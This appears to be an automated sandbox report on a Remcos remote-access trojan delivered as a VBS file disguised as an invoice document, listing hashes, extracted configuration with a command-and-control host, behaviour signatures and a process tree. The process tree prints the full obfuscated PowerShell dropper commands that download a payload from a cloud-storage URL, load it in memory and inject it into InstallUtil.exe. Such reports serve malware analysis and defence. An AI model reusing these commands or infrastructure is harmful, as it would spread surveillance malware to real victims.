remcos | 594a29480b7fce9d4e200b08fcded341d776420303a8ea955333a7b7971c4512

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20220901-en
resource tags

arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
submitted
04/11/2022, 09:09

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General

Target

DOCUMENTO DE CORRESPODIENTE A FAV-106 FAV 109.vbs
Size

562KB
MD5

e0374295f58128949b5876934737b630
SHA1

cca48afe8f320a963d3e0024ee0a3f0f8bdfe635
SHA256

594a29480b7fce9d4e200b08fcded341d776420303a8ea955333a7b7971c4512
SHA512

91beecd85f6343370034465fba5ab178a0b3d6de91e90acaa70b3c378968b5068cdebc59921dd5899bf133d326dac75ea4c2c26f1728d11edcbf2f05c255b72b
SSDEEP

192:fnh4wl8t0iFzx5o1QS/j14ta1k0yPPaNIfALuQ1Pbk:awKtR53PPaNIfALuQ1Q

Score

10^/10

remcos remotehost rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://firebasestorage.googleapis.com/v0/b/fir-3b506.appspot.com/o/dll%2Fnego.txt?alt=media&token=f068e42c-0fbc-4dcc-9984-985de5d7ed9c

Extracted

Family

remcos

Botnet

RemoteHost

nbvuhvioeodhdu.duckdns.org:1883

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-YPARK9
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
startup_value
Remcos
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

Blocklisted process makes network request 3 IoCs

flow	pid	Process
9	3624	powershell.exe
13	3624	powershell.exe
15	3624	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Roda.vbs	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Roda.vbs	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3624 set thread context of 4988	3624	powershell.exe	91

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 13 IoCs

pid	Process
1944	powershell.exe
1944	powershell.exe
3624	powershell.exe
3624	powershell.exe
3624	powershell.exe
3624	powershell.exe
3624	powershell.exe
3624	powershell.exe
3624	powershell.exe
3624	powershell.exe
3624	powershell.exe
3624	powershell.exe
3624	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
4988	InstallUtil.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1944	powershell.exe
Token: SeDebugPrivilege	3624	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4988	InstallUtil.exe

Suspicious use of SendNotifyMessage 1 IoCs

pid	Process
4988	InstallUtil.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4988	InstallUtil.exe

Suspicious use of WriteProcessMemory 28 IoCs

description	pid	Process	procid_target
PID 3256 wrote to memory of 1944	3256	WScript.exe	81
PID 3256 wrote to memory of 1944	3256	WScript.exe	81
PID 1944 wrote to memory of 3624	1944	powershell.exe	83
PID 1944 wrote to memory of 3624	1944	powershell.exe	83
PID 3624 wrote to memory of 4712	3624	powershell.exe	87
PID 3624 wrote to memory of 4712	3624	powershell.exe	87
PID 3624 wrote to memory of 4712	3624	powershell.exe	87
PID 3624 wrote to memory of 1296	3624	powershell.exe	88
PID 3624 wrote to memory of 1296	3624	powershell.exe	88
PID 3624 wrote to memory of 1296	3624	powershell.exe	88
PID 3624 wrote to memory of 1440	3624	powershell.exe	89
PID 3624 wrote to memory of 1440	3624	powershell.exe	89
PID 3624 wrote to memory of 1440	3624	powershell.exe	89
PID 3624 wrote to memory of 1156	3624	powershell.exe	90
PID 3624 wrote to memory of 1156	3624	powershell.exe	90
PID 3624 wrote to memory of 1156	3624	powershell.exe	90
PID 3624 wrote to memory of 4988	3624	powershell.exe	91
PID 3624 wrote to memory of 4988	3624	powershell.exe	91
PID 3624 wrote to memory of 4988	3624	powershell.exe	91
PID 3624 wrote to memory of 4988	3624	powershell.exe	91
PID 3624 wrote to memory of 4988	3624	powershell.exe	91
PID 3624 wrote to memory of 4988	3624	powershell.exe	91
PID 3624 wrote to memory of 4988	3624	powershell.exe	91
PID 3624 wrote to memory of 4988	3624	powershell.exe	91
PID 3624 wrote to memory of 4988	3624	powershell.exe	91
PID 3624 wrote to memory of 4988	3624	powershell.exe	91
PID 3624 wrote to memory of 4988	3624	powershell.exe	91
PID 3624 wrote to memory of 4988	3624	powershell.exe	91

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\DOCUMENTO DE CORRESPODIENTE A FAV-106 FAV 109.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3256
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $ntfYq = 'JABSAG8AZABhAEMAbwBwAHkAIAA9ACAAJwCzALMAtwC0ALQAugC0AKoAtACyALcAugCzALMAtwC0ALQAugC0AKoAtACyALcAugAnADsAWwBCAHkAdABlAFsAXQBdACAAJABEAEwATAAgAD0AIABbAHMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAG❞❞❞ANgA0AFMAdAByAGkAbgBnACgAKABOAG❞❞❞AdwAtAE8AYgBqAG❞❞❞AYwB0ACAATgBlAHQALgBXAG❞❞❞AYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AZgBpAHIAZQBiAGEAcwBlAHMAdABvAHIAYQBnAG❞❞❞ALgBnAG8AbwBnAGwAZQBhAHAAaQBzAC4AYwBvAG0ALwB2ADAALwBiAC8AZgBpAHIALQAzAGIANQAwADYALgBhAHAAcABzAHAAbwB0AC4AYwBvAG0ALwBvAC8AZABsAGwAJQAyAEYAbgBlAGcAbwAuAHQAeAB0AD8AYQBsAHQAPQBtAG❞❞❞AZABpAGEAJgB0AG8AawBlAG4APQBmADAANgA4AG❞❞❞ANAAyAGMALQAwAGYAYgBjAC0ANABkAGMAYwAtADkAOQA4ADQALQA5ADgANQBkAG❞❞❞ANQBkADcAZQBkADkAYwAnACkAKQA7AFsAcwB5AHMAdABlAG0ALgBBAHAAcABEAG8AbQBhAGkAbgBdADoAOgBDAH❞❞❞AcgByAG❞❞❞AbgB0AEQAbwBtAGEAaQBuAC4ATABvAGEAZAAoACQARABMAEwAKQAuAEcAZQB0AFQAeQBwAG❞❞❞AKAAnAE4AdwBnAG8AeABNAC4ASwBQAEoAYQBOAGoAJwApAC4ARwBlAHQATQBlAHQAaABvAGQAKAAnAFAAVQBsAEcASwBBACcAKQAuAEkAbgB2AG8AawBlACgAJABuAH❞❞❞AbABsACwAIABbAG8AYgBqAG❞❞❞AYwB0AFsAXQBdACAAKAAnAGIAMwA2ADMAMQA1ADYANwA2AG❞❞❞AZgBiAC0AOABlAD❞❞❞AOQAtAGYAMABiADQALQA3ADgAZgAwAC0AMwA5AGYANgBjADkANwA2AD0AbgBlAGsAbwB0ACYAYQBpAGQAZQBtAD0AdABsAGEAPwB0AHgAdAAuAGkAcgBwAGkAcgBwAC8AbwAvAG0AbwBjAC4AdABvAHAAcwBwAHAAYQAuADcAYQA2ADMAZQAtAHMAcwBlAGwAYgAvAGIALwAwAHYALwBtAG8AYwAuAHMAaQBwAGEAZQBsAGcAbwBvAGcALgBlAGcAYQByAG8AdABzAG❞❞❞AcwBhAGIAZQByAGkAZgAvAC8AOgBzAHAAdAB0AGgAJwAgACwAIAAkAFIAbwBkAGEAQwBvAHAAeQAgACwAIAAnAFIAbwBkAGEAJwAgACkAKQA=';$OWjuxD = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $ntfYq.replace('❞❞❞','U') ) );$OWjuxD = $OWjuxD.replace('³³·´´º´ª´²·º³³·´´º´ª´²·º', 'C:\Users\Admin\AppData\Local\Temp\DOCUMENTO DE CORRESPODIENTE A FAV-106 FAV 109.vbs');powershell.exe -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command $OWjuxD
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1944
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command "$RodaCopy = 'C:\Users\Admin\AppData\Local\Temp\DOCUMENTO DE CORRESPODIENTE A FAV-106 FAV 109.vbs';[Byte[]] $DLL = [system.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('https://firebasestorage.googleapis.com/v0/b/fir-3b506.appspot.com/o/dll%2Fnego.txt?alt=media&token=f068e42c-0fbc-4dcc-9984-985de5d7ed9c'));[system.AppDomain]::CurrentDomain.Load($DLL).GetType('NwgoxM.KPJaNj').GetMethod('PUlGKA').Invoke($null, [object[]] ('b36315676efb-8e59-f0b4-78f0-39f6c976=nekot&aidem=tla?txt.irpirp/o/moc.topsppa.7a63e-sselb/b/0v/moc.sipaelgoog.egarotsesaberif//:sptth' , $RodaCopy , 'Roda' ))"
    3⤵
    - Blocklisted process makes network request
    - Drops startup file
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3624
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:4712
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:1296
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:1440
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:1156
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
      4⤵
      Suspicious behavior: GetForegroundWindowSpam
      Suspicious use of FindShellTrayWindow
      Suspicious use of SendNotifyMessage
      Suspicious use of SetWindowsHookEx
      PID:4988

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
f41839a3fe2888c8b3050197bc9a0a05

SHA1
0798941aaf7a53a11ea9ed589752890aee069729

SHA256
224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

SHA512
2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
5caad758326454b5788ec35315c4c304

SHA1
3aef8dba8042662a7fcf97e51047dc636b4d4724

SHA256
83e613b6dc8d70e3bb67c58535e014f58f3e8b2921e93b55137d799fc8c56391

SHA512
4e0d443cf81e2f49829b0a458a08294bf1bdc0e38d3a938fb8274eeb637d9a688b14c7999dd6b86a31fcec839a9e8c1a9611ed0bbae8bd59caa9dba1e8253693

Download Submit
memory/1944-135-0x00007FF9C7460000-0x00007FF9C7F21000-memory.dmp

Filesize
10.8MB

Download
memory/1944-133-0x000002BE78FB0000-0x000002BE78FD2000-memory.dmp

Filesize
136KB

Download
memory/1944-144-0x00007FF9C7460000-0x00007FF9C7F21000-memory.dmp

Filesize
10.8MB

Download
memory/3624-136-0x00007FF9C7460000-0x00007FF9C7F21000-memory.dmp

Filesize
10.8MB

Download
memory/3624-140-0x00007FF9C7460000-0x00007FF9C7F21000-memory.dmp

Filesize
10.8MB

Download
memory/4988-137-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4988-139-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4988-143-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4988-145-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4988-146-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download